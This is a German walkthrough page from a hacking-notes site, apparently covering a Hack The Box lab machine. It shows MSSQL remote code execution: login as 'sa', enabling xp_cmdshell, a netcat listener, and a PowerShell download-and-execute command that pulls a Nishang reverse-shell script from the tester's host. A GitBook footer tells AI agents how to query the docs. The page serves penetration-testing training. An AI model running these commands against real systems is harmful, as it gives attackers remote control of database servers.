> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/mssql-1433/mssql-exploitation-rce.md).

# MSSQL - RCE-Ausnutzung

## MSSQL-Exploitation (Microsoft SQL)

**Port 1433 (MSSQL)**

Port 1433 ist offen, was darauf hinweist, dass ein Microsoft SQL Server lauscht. Testen Sie den Zugriff mit den während der Enumeration wiederhergestellten Benutzern.

<figure><img src="/files/735c5e7d0ed543d0c3201a0dc6c28ae1c3aeee14" alt=""><figcaption></figcaption></figure>

**MSSQL-Verbindungstest**

Verwenden Sie `mssqlclient.py` um zu versuchen, eine Verbindung herzustellen:

```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/e7617cc742d077468db59008c08fc365b2931e9c" alt=""><figcaption></figcaption></figure>

**Ergebnis**: Nur der `sa` Benutzer funktioniert.

```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/4208caaa4214d9b837d449a1347dff9d491279a2" alt=""><figcaption></figcaption></figure>

### Reverse Shell über MSSQL

**Befehlsausführung aktivieren**

Um Systembefehle auszuführen, aktivieren Sie `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Testen Sie dann mit einem einfachen Befehl, wie z. B. `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/4f1392a322ba5b8e79823fb42ba7e230eaaf6d93" alt=""><figcaption></figcaption></figure>

**Vorbereiten zum Lauschen auf unserem Rechner**

Starten Sie einen Listener auf Port 4444:

```bash
rlwrap nc -nvlp 4444
```

**Herunterladen eines PowerShell-Skripts**

Bereiten Sie ein PowerShell-Skript mit dem Namen `PS.ps1` vor, das eine Reverse-Shell-Funktion enthält:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Fügen Sie am Ende des Skripts die folgende Zeile hinzu:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Hosten Sie dieses Skript auf einem lokalen Webserver:

```bash
python3 -m http.server 80
```

**Ausführung der Reverse Shell**

Führen Sie auf dem MSSQL-Server den folgenden Befehl aus, um das PowerShell-Skript herunterzuladen und auszuführen:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/c2d0180d5ebed8356e7cd974c30f5b05ab143d61" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
